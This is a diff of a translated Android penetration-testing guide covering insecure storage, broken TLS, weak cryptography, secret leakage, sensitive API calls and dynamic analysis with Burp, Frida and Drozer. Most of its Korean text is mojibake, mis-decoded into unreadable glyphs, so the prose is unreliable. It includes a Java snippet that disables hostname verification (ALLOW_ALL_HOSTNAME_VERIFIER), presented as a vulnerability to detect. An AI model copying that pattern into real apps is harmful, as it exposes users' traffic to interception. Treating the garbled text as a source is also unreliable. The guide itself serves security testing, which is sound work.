ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค. -์™ธ๋ถ€ ์ €์žฅ์†Œ๋Š” `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`์—์„œ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์™ธ๋ถ€ ์ €์žฅ์†Œ๋Š” /storage/emulated/0 , /sdcard , /mnt/sdcard ์—์„œ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. > [!TIP] -> Android 4.4(**API 17**)๋ถ€ํ„ฐ SD ์นด๋“œ๋Š” ์•ฑ๋ณ„ ๋””๋ ‰ํ„ฐ๋ฆฌ๋กœ์˜ ์ ‘๊ทผ์„ ์ œํ•œํ•˜๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ ๊ตฌ์กฐ๋ฅผ ๊ฐ€์ง€๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์•…์„ฑ application์ด ๋‹ค๋ฅธ ์•ฑ์˜ ํŒŒ์ผ์— ๋Œ€ํ•œ ์ฝ๊ธฐ ๋˜๋Š” ์“ฐ๊ธฐ ์ ‘๊ทผ์„ ํš๋“ํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค. +> Android 4.4(**API 17**)๋ถ€ํ„ฐ SD ์นด๋“œ์—๋Š” ์•ฑ๋ณ„ ๋””๋ ‰ํ„ฐ๋ฆฌ ๊ตฌ์กฐ๊ฐ€ ์žˆ์–ด **์•ฑ์ด ์ž๊ธฐ ์ „์šฉ ๋””๋ ‰ํ„ฐ๋ฆฌ๋กœ๋งŒ ์ ‘๊ทผ์„ ์ œํ•œ**ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์•…์„ฑ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๋‹ค๋ฅธ ์•ฑ์˜ ํŒŒ์ผ์„ ์ฝ๊ฑฐ๋‚˜ ์“ฐ๋Š” ์ ‘๊ทผ์„ ์–ป๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค. -**์•”ํ˜ธํ™”๋˜์ง€ ์•Š์€(ํ‰๋ฌธ)์œผ๋กœ ์ €์žฅ๋œ ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ** +**Sensitive data stored in clear-text** -- **Shared preferences**: Android๋Š” ๊ฐ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด `/data/data//shared_prefs/` ๊ฒฝ๋กœ์— xml ํŒŒ์ผ์„ ์‰ฝ๊ฒŒ ์ €์žฅํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•˜๋ฉฐ, ๋•Œ๋•Œ๋กœ ํ•ด๋‹น ํด๋”์—์„œ ํ‰๋ฌธ์œผ๋กœ ๋œ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- **Databases**: Android๋Š” ๊ฐ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด `/data/data//databases/` ๊ฒฝ๋กœ์— sqlite ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์‰ฝ๊ฒŒ ์ €์žฅํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•˜๋ฉฐ, ๋•Œ๋•Œ๋กœ ํ•ด๋‹น ํด๋”์—์„œ ํ‰๋ฌธ์œผ๋กœ ๋œ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- **Shared preferences**: Android๋Š” ๊ฐ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด `/data/data//shared_prefs/` ๊ฒฝ๋กœ์— xml ํŒŒ์ผ์„ ์‰ฝ๊ฒŒ ์ €์žฅํ•˜๋„๋ก ํ—ˆ์šฉํ•˜๋ฉฐ, ์ด ํด๋”์—์„œ ๋ฏผ๊ฐํ•œ ์ •๋ณด๊ฐ€ ํ‰๋ฌธ์œผ๋กœ ์ €์žฅ๋˜์–ด ์žˆ๋Š” ๊ฒฝ์šฐ๊ฐ€ ์ข…์ข… ์žˆ์Šต๋‹ˆ๋‹ค. +- **Databases**: Android๋Š” ๊ฐ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด `/data/data//databases/` ๊ฒฝ๋กœ์— sqlite ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์‰ฝ๊ฒŒ ์ €์žฅํ•˜๋„๋ก ํ—ˆ์šฉํ•˜๋ฉฐ, ์ด ํด๋”์—์„œ ๋ฏผ๊ฐํ•œ ์ •๋ณด๊ฐ€ ํ‰๋ฌธ์œผ๋กœ ์ €์žฅ๋˜์–ด ์žˆ๋Š” ๊ฒฝ์šฐ๊ฐ€ ์ข…์ข… ์žˆ์Šต๋‹ˆ๋‹ค. ### Broken TLS **Accept All Certificates** -์–ด๋–ค ์ด์œ ๋กœ ๊ฐœ๋ฐœ์ž๋“ค์ด ํ˜ธ์ŠคํŠธ๋ช…์ด ์ผ์น˜ํ•˜์ง€ ์•Š๋”๋ผ๋„ ๋ชจ๋“  ์ธ์ฆ์„œ๋ฅผ ์ˆ˜๋ฝํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฝ”๋“œ ๋ผ์ธ์œผ๋กœ: +์–ด๋–ค ์ด์œ ๋กœ ๊ฐœ๋ฐœ์ž๋“ค์ด ํ˜ธ์ŠคํŠธ๋ช…์ด ์ผ์น˜ํ•˜์ง€ ์•Š์•„๋„ ๋ชจ๋“  ์ธ์ฆ์„œ๋ฅผ ์ˆ˜๋ฝํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฝ”๋“œ ๋ผ์ธ์ฒ˜๋Ÿผ: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` -A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it. +์ข‹์€ ๋ฐฉ๋ฒ•์€ ๊ธฐ๊ธฐ ๋‚ด๋ถ€์—์„œ Burp CA๋ฅผ ์‹ ๋ขฐ(ํ—ˆ๊ฐ€)ํ•˜์ง€ ์•Š์€ ์ƒํƒœ๋กœ Burp ๊ฐ™์€ ํ”„๋ก์‹œ๋ฅผ ์‚ฌ์šฉํ•ด ํŠธ๋ž˜ํ”ฝ์„ ์บก์ฒ˜ํ•ด๋ณด๋Š” ๊ฒƒ์ด๋‹ค. ๋˜ํ•œ Burp๋กœ ๋‹ค๋ฅธ ํ˜ธ์ŠคํŠธ๋ช…์— ๋Œ€ํ•œ ์ธ์ฆ์„œ๋ฅผ ์ƒ์„ฑํ•ด ์‚ฌ์šฉํ•ด๋ณผ ์ˆ˜๋„ ์žˆ๋‹ค. ### ์ทจ์•ฝํ•œ ์•”ํ˜ธํ™” -**์—ด์•…ํ•œ ํ‚ค ๊ด€๋ฆฌ ํ”„๋กœ์„ธ์Šค** +**๋ถ€์ ์ ˆํ•œ ํ‚ค ๊ด€๋ฆฌ ํ”„๋กœ์„ธ์Šค** -์ผ๋ถ€ ๊ฐœ๋ฐœ์ž๋Š” ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ๋กœ์ปฌ ์Šคํ† ๋ฆฌ์ง€์— ์ €์žฅํ•˜๊ณ  ์ฝ”๋“œ์— ํ•˜๋“œ์ฝ”๋”ฉ๋˜์—ˆ๊ฑฐ๋‚˜ ์˜ˆ์ธก ๊ฐ€๋Šฅํ•œ ํ‚ค๋กœ ์•”ํ˜ธํ™”ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋ฆฌ๋ฒ„์Šค์—”์ง€๋‹ˆ์–ด๋ง(reversing)์œผ๋กœ ๊ณต๊ฒฉ์ž๊ฐ€ ๊ธฐ๋ฐ€ ์ •๋ณด๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ํ•ด์„œ๋Š” ์•ˆ ๋ฉ๋‹ˆ๋‹ค. +์ผ๋ถ€ ๊ฐœ๋ฐœ์ž๋Š” ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ๋กœ์ปฌ ์Šคํ† ๋ฆฌ์ง€์— ์ €์žฅํ•˜๊ณ  ์ฝ”๋“œ์— ํ•˜๋“œ์ฝ”๋”ฉ๋˜์—ˆ๊ฑฐ๋‚˜ ์˜ˆ์ธก ๊ฐ€๋Šฅํ•œ ํ‚ค๋กœ ์•”ํ˜ธํ™”ํ•œ๋‹ค. ๋ฆฌ๋ฒ„์‹ฑ์„ ํ†ตํ•ด ๊ณต๊ฒฉ์ž๊ฐ€ ๊ธฐ๋ฐ€ ์ •๋ณด๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ์ด๋ ‡๊ฒŒ ํ•ด์„œ๋Š” ์•ˆ ๋œ๋‹ค. -**์•ˆ์ „ํ•˜์ง€ ์•Š๊ฑฐ๋‚˜/๋˜๋Š” ๋” ์ด์ƒ ์‚ฌ์šฉ๋˜์ง€ ์•Š๋Š” ์•Œ๊ณ ๋ฆฌ์ฆ˜์˜ ์‚ฌ์šฉ** +**์•ˆ์ „ํ•˜์ง€ ์•Š๊ฑฐ๋‚˜/๋˜๋Š” ํ๊ธฐ๋œ ์•Œ๊ณ ๋ฆฌ์ฆ˜์˜ ์‚ฌ์šฉ** -๊ฐœ๋ฐœ์ž๋Š” ๊ถŒํ•œ ๊ฒ€์‚ฌ(authorisation checks), ๋ฐ์ดํ„ฐ ์ €์žฅ(store) ๋˜๋Š” ์ „์†ก(send)์— **deprecated algorithms**๋ฅผ ์‚ฌ์šฉํ•ด์„œ๋Š” ์•ˆ ๋ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฐ ์•Œ๊ณ ๋ฆฌ์ฆ˜์—๋Š” RC4, MD4, MD5, SHA1 ๋“ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ๋น„๋ฐ€๋ฒˆํ˜ธ ์ €์žฅ์— **hashes**๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค๋ฉด, salt์™€ ํ•จ๊ป˜ ๋ธŒ๋ฃจํŠธํฌ์Šค์— ๊ฐ•ํ•œ ํ•ด์‹œ ์•Œ๊ณ ๋ฆฌ์ฆ˜์„ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. +๊ฐœ๋ฐœ์ž๋Š” ๊ถŒํ•œ ๋ถ€์—ฌ **๊ฒ€์‚ฌ**(authorization **checks**), ๋ฐ์ดํ„ฐ **์ €์žฅ** ๋˜๋Š” **์ „์†ก**์— **deprecated algorithms**๋ฅผ ์‚ฌ์šฉํ•ด์„œ๋Š” ์•ˆ ๋œ๋‹ค. ์ด๋Ÿฌํ•œ ์•Œ๊ณ ๋ฆฌ์ฆ˜์˜ ์˜ˆ๋กœ๋Š” RC4, MD4, MD5, SHA1 ๋“ฑ์ด ์žˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ €์žฅํ•˜๊ธฐ ์œ„ํ•ด **hashes**๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค๋ฉด, ์†”ํŠธ์™€ ํ•จ๊ป˜ ๋ธŒ๋ฃจํŠธํฌ์Šค์— **๊ฐ•ํ•œ** ํ•ด์‹œ ์•Œ๊ณ ๋ฆฌ์ฆ˜์„ ์‚ฌ์šฉํ•ด์•ผ ํ•œ๋‹ค. -### ๊ธฐํƒ€ ์ ๊ฒ€์‚ฌํ•ญ +### ๊ธฐํƒ€ ํ™•์ธ์‚ฌํ•ญ -- ๊ณต๊ฒฉ์ž์˜ ๋ฆฌ๋ฒ„์Šค ์—”์ง€๋‹ˆ์–ด๋ง ์ž‘์—…์„ ์–ด๋ ต๊ฒŒ ํ•˜๊ธฐ ์œ„ํ•ด **obfuscate the APK** ํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค. -- ์•ฑ์ด ๋ฏผ๊ฐํ•œ ์„ฑ๊ฒฉ(์˜ˆ: ์€ํ–‰ ์•ฑ)์ด๋ผ๋ฉด ๋ชจ๋ฐ”์ผ์ด ๋ฃจํŒ…๋˜์—ˆ๋Š”์ง€์— ๋Œ€ํ•ด ์ž์ฒด์ ์œผ๋กœ ๊ฒ€์‚ฌํ•˜๊ณ  ๊ทธ์— ๋”ฐ๋ผ ๋™์ž‘ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. -- ์•ฑ์ด ๋ฏผ๊ฐํ•œ ์„ฑ๊ฒฉ(์˜ˆ: ์€ํ–‰ ์•ฑ)์ด๋ผ๋ฉด **emulator** ์‚ฌ์šฉ ์—ฌ๋ถ€๋ฅผ ๊ฒ€์‚ฌํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. -- ์•ฑ์ด ๋ฏผ๊ฐํ•œ ์„ฑ๊ฒฉ(์˜ˆ: ์€ํ–‰ ์•ฑ)์ด๋ผ๋ฉด ์‹คํ–‰ํ•˜๊ธฐ ์ „์— **์ž๊ธฐ ๋ฌด๊ฒฐ์„ฑ(self integrity)** ์„ ๊ฒ€์‚ฌํ•˜์—ฌ ์ˆ˜์ •๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. -- ์–ด๋–ค ์ปดํŒŒ์ผ๋Ÿฌ/ํŒจ์ปค/๋‚œ๋…ํ™” ๋„๊ตฌ๋กœ APK๊ฐ€ ๋นŒ๋“œ๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•˜๋ ค๋ฉด [**APKiD**](https://github.com/rednaga/APKiD)๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š” +- ์—ญ๊ณตํ•™ ์ž‘์—…์„ ์–ด๋ ต๊ฒŒ ํ•˜๊ธฐ ์œ„ํ•ด **obfuscate the APK** ํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋œ๋‹ค. +- ์•ฑ์ด ๋ฏผ๊ฐํ•œ ๊ฒฝ์šฐ(์˜ˆ: ์€ํ–‰ ์•ฑ)์—๋Š” ๋ชจ๋ฐ”์ผ์ด **rooted** ๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•˜๋Š” **์ž์ฒด ๊ฒ€์‚ฌ(own checks to see if the mobile is rooted)**๋ฅผ ์ˆ˜ํ–‰ํ•˜๊ณ  ๊ทธ์— ๋งž๊ฒŒ ๋™์ž‘ํ•ด์•ผ ํ•œ๋‹ค. +- ์•ฑ์ด ๋ฏผ๊ฐํ•œ ๊ฒฝ์šฐ(์˜ˆ: ์€ํ–‰ ์•ฑ)์—๋Š” **emulator** ์‚ฌ์šฉ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•ด์•ผ ํ•œ๋‹ค. +- ์•ฑ์ด ๋ฏผ๊ฐํ•œ ๊ฒฝ์šฐ(์˜ˆ: ์€ํ–‰ ์•ฑ)์—๋Š” ์‹คํ–‰ ์ „์— **์ž๊ธฐ ๋ฌด๊ฒฐ์„ฑ(self integrity)** ์„ **์ฒดํฌ**ํ•˜์—ฌ ์ˆ˜์ • ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•ด์•ผ ํ•œ๋‹ค. +- ์–ด๋–ค compiler/packer/obfuscator๋กœ APK๊ฐ€ ๋นŒ๋“œ๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•˜๋ ค๋ฉด [**APKiD**](https://github.com/rednaga/APKiD)๋ฅผ ์‚ฌ์šฉํ•˜๋ผ ### React Native Application -๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ์ฝ์–ด React ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ JavaScript ์ฝ”๋“œ๋ฅผ ์‰ฝ๊ฒŒ ์ ‘๊ทผํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ํ™•์ธํ•˜์„ธ์š”: +React ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ javascript ์ฝ”๋“œ๋ฅผ ์‰ฝ๊ฒŒ ์ ‘๊ทผํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ฐฐ์šฐ๋ ค๋ฉด ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ์ฝ์–ด๋ผ: {{#ref}} @@ -186,7 +188,7 @@ react-native-application.md ### Xamarin Applications -๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ์ฝ์–ด Xamarin ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ C# ์ฝ”๋“œ์— ์‰ฝ๊ฒŒ ์ ‘๊ทผํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ํ™•์ธํ•˜์„ธ์š”: +Xamarin ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ C# ์ฝ”๋“œ์— ์‰ฝ๊ฒŒ ์ ‘๊ทผํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ฐฐ์šฐ๋ ค๋ฉด ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ์ฝ์–ด๋ผ: {{#ref}} @@ -195,17 +197,17 @@ react-native-application.md ### Superpacked Applications -์ด [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/)์— ๋”ฐ๋ฅด๋ฉด superpacked๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์ฝ˜ํ…์ธ ๋ฅผ ํ•˜๋‚˜์˜ ํŒŒ์ผ๋กœ ์••์ถ•ํ•˜๋Š” Meta ์•Œ๊ณ ๋ฆฌ์ฆ˜์ž…๋‹ˆ๋‹ค. ๋ธ”๋กœ๊ทธ๋Š” ์ด๋Ÿฌํ•œ ์ข…๋ฅ˜์˜ ์•ฑ์„ ์••์ถ• ํ•ด์ œํ•˜๋Š” ์•ฑ์„ ๋งŒ๋“œ๋Š” ๊ฐ€๋Šฅ์„ฑ์— ๋Œ€ํ•ด ์ด์•ผ๊ธฐํ•˜๊ณ  ์žˆ์œผ๋ฉฐ... ๋” ๋น ๋ฅธ ๋ฐฉ๋ฒ•์œผ๋กœ๋Š” **์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‹คํ–‰ํ•˜๊ณ  ํŒŒ์ผ์‹œ์Šคํ…œ์—์„œ ์••์ถ• ํ•ด์ œ๋œ ํŒŒ์ผ์„ ์ˆ˜์ง‘(execute the application and gather the decompressed files from the filesystem.)**ํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค. +์ด [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/)์— ๋”ฐ๋ฅด๋ฉด superpacked๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋‚ด์šฉ์„ ํ•˜๋‚˜์˜ ํŒŒ์ผ๋กœ ์••์ถ•ํ•˜๋Š” Meta ์•Œ๊ณ ๋ฆฌ์ฆ˜์ด๋‹ค. ๋ธ”๋กœ๊ทธ๋Š” ์ด๋Ÿฐ ์ข…๋ฅ˜์˜ ์•ฑ์„ ์••์ถ• ํ•ด์ œํ•˜๋Š” ์•ฑ์„ ๋งŒ๋“œ๋Š” ๊ฐ€๋Šฅ์„ฑ์— ๋Œ€ํ•ด ์ด์•ผ๊ธฐํ•œ๋‹ค... ๊ทธ๋ฆฌ๊ณ  ๋” ๋น ๋ฅธ ๋ฐฉ๋ฒ•์œผ๋กœ๋Š” **์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‹คํ–‰ํ•˜๊ณ  ํŒŒ์ผ์‹œ์Šคํ…œ์—์„œ ์••์ถ• ํ•ด์ œ๋œ ํŒŒ์ผ์„ ์ˆ˜์ง‘ํ•˜๋Š” ๊ฒƒ**์ด ์žˆ๋‹ค. ### Automated Static Code Analysis -๋„๊ตฌ [**mariana-trench**](https://github.com/facebook/mariana-trench)๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ **์ฝ”๋“œ**๋ฅผ **์Šค์บ”**ํ•˜์—ฌ **์ทจ์•ฝ์ (vulnerabilities)** ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋„๊ตฌ๋Š” **known sources**(๋„๊ตฌ์— **์ž…๋ ฅ(input)** ์ด **์‚ฌ์šฉ์ž์— ์˜ํ•ด ์ œ์–ด๋˜๋Š” ์œ„์น˜**๋ฅผ ์•Œ๋ ค์ฃผ๋Š” ๊ฒƒ), **sinks**(์•…์˜์  ์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด ํ”ผํ•ด๋ฅผ ์ค„ ์ˆ˜ ์žˆ๋Š” **์œ„ํ—˜ํ•œ ์œ„์น˜**) ๋ฐ **rules**์˜ ์ง‘ํ•ฉ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ทœ์น™๋“ค์€ ์ทจ์•ฝ์ ์„ ๋‚˜ํƒ€๋‚ด๋Š” **sources-sinks**์˜ **์กฐํ•ฉ**์„ ์ง€์‹œํ•ฉ๋‹ˆ๋‹ค. +๋„๊ตฌ [**mariana-trench**](https://github.com/facebook/mariana-trench)๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ **์ฝ”๋“œ**๋ฅผ **์Šค์บ”**ํ•˜์—ฌ **์ทจ์•ฝ์ (vulnerabilities)** ์„ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค. ์ด ๋„๊ตฌ๋Š” **known sources**(์‚ฌ์šฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” **์ž…๋ ฅ(input)** ์ด ์œ„์น˜ํ•˜๋Š” **์ง€์ **์„ ๋„๊ตฌ์— ์•Œ๋ ค์ฃผ๋Š” ๊ฒƒ), **sinks**(์•…์˜์ ์ธ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด ํ”ผํ•ด๋ฅผ ์ค„ ์ˆ˜ ์žˆ๋Š” **์œ„ํ—˜ํ•œ ์ง€์ **) ๋ฐ **rules**์˜ ์ง‘ํ•ฉ์„ ํฌํ•จํ•œ๋‹ค. ์ด๋Ÿฌํ•œ ๊ทœ์น™๋“ค์€ ์ทจ์•ฝ์ ์„ ๋‚˜ํƒ€๋‚ด๋Š” **sources-sinks ์กฐํ•ฉ**์„ ์ง€์ •ํ•œ๋‹ค. -์ด ์ง€์‹์„ ๋ฐ”ํƒ•์œผ๋กœ **mariana-trench๋Š” ์ฝ”๋“œ๋ฅผ ๊ฒ€ํ† ํ•˜์—ฌ ๊ฐ€๋Šฅํ•œ ์ทจ์•ฝ์ ์„ ์ฐพ์•„๋ƒ…๋‹ˆ๋‹ค.** +์ด ์ง€์‹์„ ๋ฐ”ํƒ•์œผ๋กœ **mariana-trench**๋Š” ์ฝ”๋“œ๋ฅผ ๊ฒ€ํ† ํ•˜๊ณ  ์ž ์žฌ์ ์ธ ์ทจ์•ฝ์ ์„ ์ฐพ์•„๋‚ผ ๊ฒƒ์ด๋‹ค. ### Secrets leaked -์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—๋Š” API ํ‚ค, ๋น„๋ฐ€๋ฒˆํ˜ธ, ์ˆจ๊ฒจ์ง„ URL, ์„œ๋ธŒ๋„๋ฉ”์ธ ๋“ฑ๊ณผ ๊ฐ™์€ ๋น„๋ฐ€์ด ํฌํ•จ๋˜์–ด ์žˆ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ ์ด๋ฅผ ๋ฐœ๊ฒฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด๋ถ€์— API ํ‚ค, ๋น„๋ฐ€๋ฒˆํ˜ธ, ์ˆจ๊ฒจ์ง„ URL, ์„œ๋ธŒ๋„๋ฉ”์ธ ๋“ฑ๊ณผ ๊ฐ™์€ secrets๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ ์ด๋ฅผ ๋ฐœ๊ฒฌํ•  ์ˆ˜ ์žˆ๋‹ค. ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค: [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) ### Bypass Biometric Authentication @@ -214,7 +216,7 @@ react-native-application.md bypass-biometric-authentication-android.md {{#endref}} -### ๊ธฐํƒ€ ํฅ๋ฏธ๋กœ์šด ๊ธฐ๋Šฅ +### Other interesting functions - **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()` - **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` @@ -232,47 +234,47 @@ content-protocol.md --- -## ๋™์  ๋ถ„์„ +## Dynamic Analysis -> ์šฐ์„ , ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ๊ด€๋ จ ํ™˜๊ฒฝ(Burp CA cert, Drozer ๋ฐ Frida ๋“ฑ)์„ ์„ค์น˜ํ•  ์ˆ˜ ์žˆ๋Š” ํ™˜๊ฒฝ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋ฃจํŒ…๋œ ๋””๋ฐ”์ด์Šค(์—๋ฎฌ๋ ˆ์ดํ„ฐ๋“  ์•„๋‹ˆ๋“ )๊ฐ€ ๊ฐ•๋ ฅํžˆ ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค. +> ๋จผ์ €, ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ํ™˜๊ฒฝ(Burp CA cert, Drozer ๋ฐ Frida ๋“ฑ)์„ ์„ค์น˜ํ•  ์ˆ˜ ์žˆ๋Š” ํ™˜๊ฒฝ์ด ํ•„์š”ํ•˜๋‹ค. ๋”ฐ๋ผ์„œ ๋ฃจํŒ…๋œ ๊ธฐ๊ธฐ(์—๋ฎฌ๋ ˆ์ดํ„ฐ๋“  ์‹ค์ œ๋“ )๊ฐ€ ๊ฐ•๋ ฅํžˆ ์ถ”์ฒœ๋œ๋‹ค. -### ์˜จ๋ผ์ธ ๋™์  ๋ถ„์„ +### Online Dynamic analysis -๋‹ค์Œ์—์„œ **๋ฌด๋ฃŒ ๊ณ„์ •**์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://appetize.io/](https://appetize.io/). ์ด ํ”Œ๋žซํผ์€ APK๋ฅผ **์—…๋กœ๋“œ**ํ•˜๊ณ  **์‹คํ–‰**ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋ฏ€๋กœ APK๊ฐ€ ์–ด๋–ป๊ฒŒ ๋™์ž‘ํ•˜๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๋ฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. +[https://appetize.io/](https://appetize.io/)์—์„œ **๋ฌด๋ฃŒ ๊ณ„์ •**์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค. ์ด ํ”Œ๋žซํผ์€ APK๋ฅผ **์—…๋กœ๋“œ**ํ•˜๊ณ  **์‹คํ–‰**ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด ์ฃผ๋ฏ€๋กœ APK๊ฐ€ ์–ด๋–ป๊ฒŒ ๋™์ž‘ํ•˜๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๋ฐ ์œ ์šฉํ•˜๋‹ค. -์›น์—์„œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋กœ๊ทธ๋ฅผ ํ™•์ธํ•˜๊ณ  **adb**๋ฅผ ํ†ตํ•ด ์—ฐ๊ฒฐํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. +์›น์—์„œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋กœ๊ทธ๋ฅผ **๋ณผ ์ˆ˜ ์žˆ๊ณ ** adb๋กœ ์—ฐ๊ฒฐํ•  ์ˆ˜๋„ ์žˆ๋‹ค. ![](<../../images/image (831).png>) -ADB ์—ฐ๊ฒฐ ๋•๋ถ„์— ์—๋ฎฌ๋ ˆ์ดํ„ฐ ์•ˆ์—์„œ **Drozer**์™€ **Frida**๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +ADB ์—ฐ๊ฒฐ ๋•๋ถ„์— ์—๋ฎฌ๋ ˆ์ดํ„ฐ ๋‚ด๋ถ€์—์„œ 